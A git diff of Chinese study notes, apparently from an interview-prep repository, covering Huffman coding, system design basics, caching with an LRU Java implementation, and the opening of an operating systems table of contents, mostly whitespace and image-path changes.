-public class Hanoi {
-    public static void move(int n, String from, String buffer, String to) {
-        if (n == 1) {
-            System.out.println("from " + from + " to " + to);
-            return;
-        }
-        move(n - 1, from, to, buffer);
-        move(1, from, buffer, to);
-        move(n - 1, buffer, from, to);
-    }
+public class Hanoi {
+    public static void move(int n, String from, String buffer, String to) {
+        if (n == 1) {
+            System.out.println("from " + from + " to " + to);
+            return;
+        }
+        move(n - 1, from, to, buffer);
+        move(1, from, buffer, to);
+        move(n - 1, buffer, from, to);
+    }
 
-    public static void main(String[] args) {
-        Hanoi.move(3, "H1", "H2", "H3");
-    }
+    public static void main(String[] args) {
+        Hanoi.move(3, "H1", "H2", "H3");
+    }
 }
 ```
 
 ```html
-from H1 to H3
-from H1 to H2
-from H3 to H2
-from H1 to H3
-from H2 to H1
-from H2 to H3
-from H1 to H3
+from H1 to H3
+from H1 to H2
+from H3 to H2
+from H1 to H3
+from H2 to H1
+from H2 to H3
+from H1 to H3
 ```
 
-## 哈夫曼编码
+## 哈夫曼编码
 
 根据数据出现的频率对数据进行编码，从而压缩原始数据。
 
 例如对于一个文本文件，其中各种字符出现的次数如下：
 
-- a : 10
-- b : 20
-- c : 40
-- d : 80
+- a : 10
+- b : 20
+- c : 40
+- d : 80
 
-可以将每种字符转换成二进制编码，例如将 a 转换为 00，b 转换为 01，c 转换为 10，d 转换为 11。这是最简单的一种编码方式，没有考虑各个字符的权值（出现频率）。而哈夫曼编码采用了贪心策略，使出现频率最高的字符的编码最短，从而保证整体的编码长度最短。
+可以将每种字符转换成二进制编码，例如将 a 转换为 00，b 转换为 01，c 转换为 10，d 转换为 11。这是最简单的一种编码方式，没有考虑各个字符的权值（出现频率）。而哈夫曼编码采用了贪心策略，使出现频率最高的字符的编码最短，从而保证整体的编码长度最短。
 
 首先生成一颗哈夫曼树，每次生成过程中选取频率最少的两个节点，生成一个新节点作为它们的父节点，并且新节点的频率为两个节点的和。选取频率最少的原因是，生成过程使得先选取的节点位于树的更低层，那么需要的编码长度更长，频率更少可以使得总编码长度更少。
 
-生成编码时，从根节点出发，向左遍历则添加二进制位 0，向右则添加二进制位 1，直到遍历到叶子节点，叶子节点代表的字符的编码就是这个路径编码。
+生成编码时，从根节点出发，向左遍历则添加二进制位 0，向右则添加二进制位 1，直到遍历到叶子节点，叶子节点代表的字符的编码就是这个路径编码。
 
-<img src="index_files/3ff4f00a-2321-48fd-95f4-ce6001332151.png" width="400"/>
+<div align="center"> <img src="pics/3ff4f00a-2321-48fd-95f4-ce6001332151.png" width="400"/> </div><br>
 
 ```java
-public class Huffman {
+public class Huffman {
 
-    private class Node implements Comparable<Node> {
-        char ch;
-        int freq;
-        boolean isLeaf;
-        Node left, right;
+    private class Node implements Comparable<Node> {
+        char ch;
+        int freq;
+        boolean isLeaf;
+        Node left, right;
 
-        public Node(char ch, int freq) {
-            this.ch = ch;
-            this.freq = freq;
-            isLeaf = true;
-        }
+        public Node(char ch, int freq) {
+            this.ch = ch;
+            this.freq = freq;
+            isLeaf = true;
+        }
 
-        public Node(Node left, Node right, int freq) {
-            this.left = left;
-            this.right = right;
-            this.freq = freq;
-            isLeaf = false;
-        }
+        public Node(Node left, Node right, int freq) {
+            this.left = left;
+            this.right = right;
+            this.freq = freq;
+            isLeaf = false;
+        }
 
-        @Override
-        public int compareTo(Node o) {
-            return this.freq - o.freq;
-        }
-    }
+        @Override
+        public int compareTo(Node o) {
+            return this.freq - o.freq;
+        }
+    }
 
-    public Map<Character, String> encode(Map<Character, Integer> frequencyForChar) {
-        PriorityQueue<Node> priorityQueue = new PriorityQueue<>();
-        for (Character c : frequencyForChar.keySet()) {
-            priorityQueue.add(new Node(c, frequencyForChar.get(c)));
-        }
-        while (priorityQueue.size() != 1) {
-            Node node1 = priorityQueue.poll();
-            Node node2 = priorityQueue.poll();
-            priorityQueue.add(new Node(node1, node2, node1.freq + node2.freq));
-        }
-        return encode(priorityQueue.poll());
-    }
+    public Map<Character, String> encode(Map<Character, Integer> frequencyForChar) {
+        PriorityQueue<Node> priorityQueue = new PriorityQueue<>();
+        for (Character c : frequencyForChar.keySet()) {
+            priorityQueue.add(new Node(c, frequencyForChar.get(c)));
+        }
+        while (priorityQueue.size() != 1) {
+            Node node1 = priorityQueue.poll();
+            Node node2 = priorityQueue.poll();
+            priorityQueue.add(new Node(node1, node2, node1.freq + node2.freq));
+        }
+        return encode(priorityQueue.poll());
+    }
 
-    private Map<Character, String> encode(Node root) {
-        Map<Character, String> encodingForChar = new HashMap<>();
-        encode(root, "", encodingForChar);
-        return encodingForChar;
-    }
+    private Map<Character, String> encode(Node root) {
+        Map<Character, String> encodingForChar = new HashMap<>();
+        encode(root, "", encodingForChar);
+        return encodingForChar;
+    }
 
-    private void encode(Node node, String encoding, Map<Character, String> encodingForChar) {
-        if (node.isLeaf) {
-            encodingForChar.put(node.ch, encoding);
-            return;
-        }
-        encode(node.left, encoding + '0', encodingForChar);
-        encode(node.right, encoding + '1', encodingForChar);
-    }
+    private void encode(Node node, String encoding, Map<Character, String> encodingForChar) {
+        if (node.isLeaf) {
+            encodingForChar.put(node.ch, encoding);
+            return;
+        }
+        encode(node.left, encoding + '0', encodingForChar);
+        encode(node.right, encoding + '1', encodingForChar);
+    }
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
+- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
 
----bottom---CyC---
-![](index_files/766aedd0-1b00-4065-aa2b-7d31138df84f.png)
-![](index_files/37e79a32-95a9-4503-bdb1-159527e628b8.png)
-![](index_files/1a2f2998-d0da-41c8-8222-1fd95083a66b.png)
-![](index_files/2a8e1442-2381-4439-a83f-0312c8678b1f.png)
-![](index_files/0157d362-98dd-4e51-ac26-00ecb76beb3e.png)
-![](index_files/220790c6-4377-4a2e-8686-58398afc8a18.png)
-![](index_files/f8047846-efd4-42be-b6b7-27a7c4998b51.png)
-![](index_files/864bfa7d-1149-420c-a752-f9b3d4e782ec.png)
-![](index_files/f3080f83-6239-459b-8e9c-03b6641f7815.png)
-![](index_files/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png)
-![](index_files/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png)
-![](index_files/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png)
-![](index_files/51fb761d-8ce0-4472-92ff-2f227ac7888a.png)
-![](index_files/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png)
-![](index_files/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png)
-![](index_files/8f0cc500-5994-4c7a-91a9-62885d658662.png)
-![](index_files/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png)
-![](index_files/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png)
-![](index_files/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png)
-![](index_files/f9f9f993-8ece-4da7-b848-af9b438fad76.png)
-![](index_files/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png)
-![](index_files/fbe54203-c005-48f0-8883-b05e564a3173.png)
-![](index_files/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png)
-![](index_files/4d741402-344d-4b7c-be01-e57184bcad0e.png)
-![](index_files/be7dca03-12ec-456b-8b54-b1b3161f5531.png)
-![](index_files/dd15a984-e977-4644-b127-708cddb8ca99.png)
-![](index_files/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png)
-![](index_files/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png)
-![](index_files/7f38a583-2f2e-4738-97af-510e6fb403a7.png)
-![](index_files/ef280699-da36-4b38-9735-9b048a3c7fe0.png)
-![](index_files/4f48e806-f90b-4c09-a55f-ac0cd641c047.png)
-![](index_files/3086c248-b552-499e-b101-9cffe5c2773e.png)
-![](index_files/9110c1a0-8a54-4145-a814-2477d0128114.png)
-![](index_files/e2f0d889-2330-424c-8193-198edebecff7.png)
-![](index_files/af4639f9-af54-4400-aaf5-4e261d96ace7.png)
-![](index_files/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png)
-![](index_files/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png)
-![](index_files/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png)
-![](index_files/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png)
-![](index_files/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png)
-![](index_files/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png)
-![](index_files/2861e923-4862-4526-881c-15529279d49c.png)
-![](index_files/1c4e8185-8153-46b6-bd5a-288b15feeae6.png)
-![](index_files/3ff4f00a-2321-48fd-95f4-ce6001332151.png)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 5520f6f2..4cf9cd7c 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,80 +1,91 @@
-# 一、性能
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、性能](#一性能)
+* [二、伸缩性](#二伸缩性)
+* [三、扩展性](#三扩展性)
+* [四、可用性](#四可用性)
+* [五、安全性](#五安全性)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 性能指标
 
-### 1. 响应时间
+# 一、性能
+
+## 性能指标
+
+### 1. 响应时间
 
 指某个请求从发出到接收到响应消耗的时间。
 
 在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
 
-### 2. 吞吐量
+### 2. 吞吐量
 
 指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
 
-### 3. 并发用户数
+### 3. 并发用户数
 
 指系统能同时处理的并发用户请求数量。
 
-在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
+在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
 
 目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
 
-- 多 CPU
-- IO 等待时间
+- 多 CPU
+- IO 等待时间
 
-使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
+使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
 
 并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
 
-## 性能优化
+## 性能优化
 
-### 1. 集群
+### 1. 集群
 
 将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
 
-### 2. 缓存
+### 2. 缓存
 
 缓存能够提高性能的原因如下：
 
-- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
-- 缓存数据可以位于靠近用户的地理位置上；
-- 可以将计算结果进行缓存，从而避免重复计算。
+- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
+- 缓存数据可以位于靠近用户的地理位置上；
+- 可以将计算结果进行缓存，从而避免重复计算。
 
-### 3. 异步
+### 3. 异步
 
 某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
 
-# 二、伸缩性
+# 二、伸缩性
 
 指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
 
-## 伸缩性与性能
+## 伸缩性与性能
 
 如果系统存在性能问题，那么单个用户的请求总是很慢的；
 
 如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
 
-## 实现伸缩性
+## 实现伸缩性
 
 应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
 
-关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器的存储空间限制。
+关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器的存储空间限制。
 
 对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
 
-# 三、扩展性
+# 三、扩展性
 
 指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
 
 实现可扩展主要有两种方式：
 
-- 使用消息队列进行解耦，应用之间通过消息传递进行通信；
-- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
+- 使用消息队列进行解耦，应用之间通过消息传递进行通信；
+- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
 
-# 四、可用性
+# 四、可用性
 
-## 冗余
+## 冗余
 
 保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
 
@@ -82,18 +93,18 @@
 
 存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
 
-## 监控
+## 监控
 
-对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
+对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
 
-## 服务降级
+## 服务降级
 
 服务降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
 
-# 五、安全性
+# 五、安全性
 
 要求系统在应对各种攻击手段时能够有可靠的应对措施。
 
-# 参考资料
+# 参考资料
 
-- 大型网站技术架构：核心原理与案例分析
\ No newline at end of file
+- 大型网站技术架构：核心原理与案例分析
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index ad05fd59..31fe9e20 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,208 +1,221 @@
-# 一、缓存特征
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、缓存特征](#一缓存特征)
+* [二、LRU](#二lru)
+* [三、缓存位置](#三缓存位置)
+* [四、CDN](#四cdn)
+* [五、缓存问题](#五缓存问题)
+* [六、数据分布](#六数据分布)
+* [七、一致性哈希](#七一致性哈希)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 命中率
+
+# 一、缓存特征
+
+## 命中率
 
 当某个请求能够通过访问缓存而得到响应时，称为缓存命中。
 
 缓存命中率越高，缓存的利用率也就越高。
 
-## 最大空间
+## 最大空间
 
 缓存通常位于内存中，内存的空间通常比磁盘空间小的多，因此缓存的最大空间不可能非常大。
 
 当缓存存放的数据量超过最大空间时，就需要淘汰部分数据来存放新到达的数据。
 
-## 淘汰策略
+## 淘汰策略
 
-- FIFO（First In First Out）：先进先出策略，在实时性的场景下，需要经常访问最新的数据，那么就可以使用 FIFO，使得最先进入的数据（最晚的数据）被淘汰。
+- FIFO（First In First Out）：先进先出策略，在实时性的场景下，需要经常访问最新的数据，那么就可以使用 FIFO，使得最先进入的数据（最晚的数据）被淘汰。
 
-- LRU（Least Recently Used）：最近最久未使用策略，优先淘汰最久未使用的数据，也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据，也就是经常被访问的数据，从而保证缓存命中率。
+- LRU（Least Recently Used）：最近最久未使用策略，优先淘汰最久未使用的数据，也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据，也就是经常被访问的数据，从而保证缓存命中率。
 
-# 二、LRU
+# 二、LRU
 
-以下是基于 双向链表 + HashMap 的 LRU 算法实现，对算法的解释如下：
+以下是基于 双向链表 + HashMap 的 LRU 算法实现，对算法的解释如下：
 
-- 访问某个节点时，将其从原来的位置删除，并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点，当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
-- 为了使删除操作时间复杂度为 O(1)，就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射，通过 Key 就能以 O(1) 的时间得到节点，然后再以 O(1) 的时间将其从双向队列中删除。
+- 访问某个节点时，将其从原来的位置删除，并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点，当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
+- 为了使删除操作时间复杂度为 O(1)，就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射，通过 Key 就能以 O(1) 的时间得到节点，然后再以 O(1) 的时间将其从双向队列中删除。
 
 ```java
-public class LRU<K, V> implements Iterable<K> {
+public class LRU<K, V> implements Iterable<K> {
 
-    private Node head;
-    private Node tail;
-    private HashMap<K, Node> map;
-    private int maxSize;
+    private Node head;
+    private Node tail;
+    private HashMap<K, Node> map;
+    private int maxSize;
 
-    private class Node {
+    private class Node {
 
-        Node pre;
-        Node next;
-        K k;
-        V v;
+        Node pre;
+        Node next;
+        K k;
+        V v;
 
-        public Node(K k, V v) {
-            this.k = k;
-            this.v = v;
-        }
-    }
+        public Node(K k, V v) {
+            this.k = k;
+            this.v = v;
+        }
+    }
 
 
-    public LRU(int maxSize) {
+    public LRU(int maxSize) {
 
-        this.maxSize = maxSize;
-        this.map = new HashMap<>(maxSize * 4 / 3);
+        this.maxSize = maxSize;
+        this.map = new HashMap<>(maxSize * 4 / 3);
 
-        head = new Node(null, null);
-        tail = new Node(null, null);
+        head = new Node(null, null);
+        tail = new Node(null, null);
 
-        head.next = tail;
-        tail.pre = head;
-    }
+        head.next = tail;
+        tail.pre = head;
+    }
 
 
-    public V get(K key) {
+    public V get(K key) {
 
-        if (!map.containsKey(key)) {
-            return null;
-        }
+        if (!map.containsKey(key)) {
+            return null;
+        }
 
-        Node node = map.get(key);
-        unlink(node);
-        appendHead(node);
+        Node node = map.get(key);
+        unlink(node);
+        appendHead(node);
 
-        return node.v;
-    }
+        return node.v;
+    }
 
 
-    public void put(K key, V value) {
+    public void put(K key, V value) {
 
-        if (map.containsKey(key)) {
-            Node node = map.get(key);
-            unlink(node);
-        }
+        if (map.containsKey(key)) {
+            Node node = map.get(key);
+            unlink(node);
+        }
 
-        Node node = new Node(key, value);
-        map.put(key, node);
-        appendHead(node);
+        Node node = new Node(key, value);
+        map.put(key, node);
+        appendHead(node);
 
-        if (map.size() > maxSize) {
-            Node toRemove = removeTail();
-            map.remove(toRemove.k);
-        }
-    }
+        if (map.size() > maxSize) {
+            Node toRemove = removeTail();
+            map.remove(toRemove.k);
+        }
+    }
 
 
-    private void unlink(Node node) {
+    private void unlink(Node node) {
 
-        Node pre = node.pre;
-        Node next = node.next;
+        Node pre = node.pre;
+        Node next = node.next;
 
-        pre.next = next;
-        next.pre = pre;
+        pre.next = next;
+        next.pre = pre;
 
-        node.pre = null;
-        node.next = null;
-    }
+        node.pre = null;
+        node.next = null;
+    }
 
 
-    private void appendHead(Node node) {
-        Node next = head.next;
-        node.next = next;
-        next.pre = node;
-        node.pre = head;
-        head.next = node;
-    }
+    private void appendHead(Node node) {
+        Node next = head.next;
+        node.next = next;
+        next.pre = node;
+        node.pre = head;
+        head.next = node;
+    }
 
 
-    private Node removeTail() {
+    private Node removeTail() {
 
-        Node node = tail.pre;
+        Node node = tail.pre;
 
-        Node pre = node.pre;
-        tail.pre = pre;
-        pre.next = tail;
+        Node pre = node.pre;
+        tail.pre = pre;
+        pre.next = tail;
 
-        node.pre = null;
-        node.next = null;
+        node.pre = null;
+        node.next = null;
 
-        return node;
-    }
+        return node;
+    }
 
 
-    @Override
-    public Iterator<K> iterator() {
+    @Override
+    public Iterator<K> iterator() {
 
-        return new Iterator<K>() {
-            private Node cur = head.next;
+        return new Iterator<K>() {
+            private Node cur = head.next;
 
-            @Override
-            public boolean hasNext() {
-                return cur != tail;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != tail;
+            }
 
-            @Override
-            public K next() {
-                Node node = cur;
-                cur = cur.next;
-                return node.k;
-            }
-        };
-    }
+            @Override
+            public K next() {
+                Node node = cur;
+                cur = cur.next;
+                return node.k;
+            }
+        };
+    }
 }
 ```
 
-# 三、缓存位置
+# 三、缓存位置
 
-## 浏览器
+## 浏览器
 
-当 HTTP 响应允许进行缓存时，浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
+当 HTTP 响应允许进行缓存时，浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
 
-## ISP
+## ISP
 
-网络服务提供商（ISP）是网络访问的第一跳，通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
+网络服务提供商（ISP）是网络访问的第一跳，通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
 
-## 反向代理
+## 反向代理
 
 反向代理位于服务器之前，请求与响应都需要经过反向代理。通过将数据缓存在反向代理，在用户请求反向代理时就可以直接使用缓存进行响应。
 
-## 本地缓存
+## 本地缓存
 
-使用 Guava Cache 将数据缓存在服务器本地内存中，服务器代码可以直接读取本地内存中的缓存，速度非常快。
+使用 Guava Cache 将数据缓存在服务器本地内存中，服务器代码可以直接读取本地内存中的缓存，速度非常快。
 
-## 分布式缓存
+## 分布式缓存
 
-使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
+使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
 
 相对于本地缓存来说，分布式缓存单独部署，可以根据需求分配硬件资源。不仅如此，服务器集群都可以访问分布式缓存，而本地缓存需要在服务器集群之间进行同步，实现难度和性能开销上都非常大。
 
-## 数据库缓存
+## 数据库缓存
 
-MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
+MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
 
-# 四、CDN
+# 四、CDN
 
-内容分发网络（Content distribution network，CDN）是一种互连的网络系统，它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
+内容分发网络（Content distribution network，CDN）是一种互连的网络系统，它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
 
-CDN 主要有以下优点：
+CDN 主要有以下优点：
 
-- 更快地将数据分发给用户；
-- 通过部署多台服务器，从而提高系统整体的带宽性能；
-- 多台服务器可以看成是一种冗余机制，从而具有高可用性。
+- 更快地将数据分发给用户；
+- 通过部署多台服务器，从而提高系统整体的带宽性能；
+- 多台服务器可以看成是一种冗余机制，从而具有高可用性。
 
-![](index_files/15313ed8-a520-4799-a300-2b6b36be314f.jpg)
+<div align="center"> <img src="pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
 
-# 五、缓存问题
+# 五、缓存问题
 
-## 缓存穿透
+## 缓存穿透
 
 指的是对某个一定不存在的数据进行请求，该请求将会穿透缓存到达数据库。
 
 解决方案：
 
-- 对这些不存在的数据缓存一个空数据；
-- 对这类请求进行过滤。
+- 对这些不存在的数据缓存一个空数据；
+- 对这类请求进行过滤。
 
-## 缓存雪崩
+## 缓存雪崩
 
 指的是由于数据没有被加载到缓存中，或者缓存数据在同一时间大面积失效（过期），又或者缓存服务器宕机，导致大量的请求都到达数据库。
 
@@ -210,53 +223,53 @@ CDN 主要有以下优点：
 
 解决方案：
 
-- 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
-- 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
-- 也可以进行缓存预热，避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
+- 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
+- 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
+- 也可以进行缓存预热，避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
 
-## 缓存一致性
+## 缓存一致性
 
 缓存一致性要求数据更新的同时缓存数据也能够实时更新。
 
 解决方案：
 
-- 在数据更新的同时立即去更新缓存；
-- 在读缓存之前先判断缓存是否是最新的，如果不是最新的先进行更新。
+- 在数据更新的同时立即去更新缓存；
+- 在读缓存之前先判断缓存是否是最新的，如果不是最新的先进行更新。
 
 要保证缓存一致性需要付出很大的代价，缓存数据最好是那些对一致性要求不高的数据，允许缓存数据存在一些脏数据。
 
-# 六、数据分布
+# 六、数据分布
 
-## 哈希分布
+## 哈希分布
 
-哈希分布就是将数据计算哈希值之后，按照哈希值分配到不同的节点上。例如有 N 个节点，数据的主键为 key，则将该数据分配的节点序号为：hash(key)%N。
+哈希分布就是将数据计算哈希值之后，按照哈希值分配到不同的节点上。例如有 N 个节点，数据的主键为 key，则将该数据分配的节点序号为：hash(key)%N。
 
-传统的哈希分布算法存在一个问题：当节点数量变化时，也就是 N 值变化，那么几乎所有的数据都需要重新分布，将导致大量的数据迁移。
+传统的哈希分布算法存在一个问题：当节点数量变化时，也就是 N 值变化，那么几乎所有的数据都需要重新分布，将导致大量的数据迁移。
 
-## 顺序分布
+## 顺序分布
 
-将数据划分为多个连续的部分，按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 ~ 7000，使用顺序分布可以将其划分成多个子表，对应的主键范围为 1 ~ 1000，1001 ~ 2000，...，6001 ~ 7000。
+将数据划分为多个连续的部分，按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000，使用顺序分布可以将其划分成多个子表，对应的主键范围为 1 \~ 1000，1001 \~ 2000，...，6001 \~ 7000。
 
 顺序分布相比于哈希分布的主要优点如下：
 
-- 能保持数据原有的顺序；
-- 并且能够准确控制每台服务器存储的数据量，从而使得存储空间的利用率最大。
+- 能保持数据原有的顺序；
+- 并且能够准确控制每台服务器存储的数据量，从而使得存储空间的利用率最大。
 
-# 七、一致性哈希
+# 七、一致性哈希
 
-Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
+Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
 
-## 基本原理
+## 基本原理
 
-将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环，每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后，存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
+将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环，每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后，存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
 
-![](index_files/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg)
+<div align="center"> <img src="pics/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
 
-一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点，例如下图中新增节点 X，只需要将它前一个节点 C 上的数据重新进行分布即可，对于节点 A、B、D 都没有影响。
+一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点，例如下图中新增节点 X，只需要将它前一个节点 C 上的数据重新进行分布即可，对于节点 A、B、D 都没有影响。
 
-![](index_files/66402828-fb2b-418f-83f6-82153491bcfe.jpg)
+<div align="center"> <img src="pics/66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
 
-## 虚拟节点
+## 虚拟节点
 
 上面描述的一致性哈希存在数据分布不均匀的问题，节点存储的数据量有可能会存在很大的不同。
 
@@ -264,10 +277,10 @@ Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为
 
 解决方式是通过增加虚拟节点，然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多，那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好，从而使得数据分布也更加均匀。
 
-# 参考资料
+# 参考资料
 
-- 大规模分布式存储系统
-- [缓存那些事](https://tech.meituan.com/cache_about.html)
-- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
-- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
-- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
\ No newline at end of file
+- 大规模分布式存储系统
+- [缓存那些事](https://tech.meituan.com/cache_about.html)
+- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
+- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
+- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 6ab4f8bf..a6895a66 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,8 +1,49 @@
-# 一、概述
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概述](#一概述)
+    * [基本特征](#基本特征)
+    * [基本功能](#基本功能)
+    * [系统调用](#系统调用)
+    * [大内核和微内核](#大内核和微内核)
+    * [中断分类](#中断分类)
+* [二、进程管理](#二进程管理)
+    * [进程与线程](#进程与线程)
+    * [进程状态的切换](#进程状态的切换)
+    * [进程调度算法](#进程调度算法)
+    * [进程同步](#进程同步)
+    * [经典同步问题](#经典同步问题)
+    * [进程通信](#进程通信)
+* [三、死锁](#三死锁)
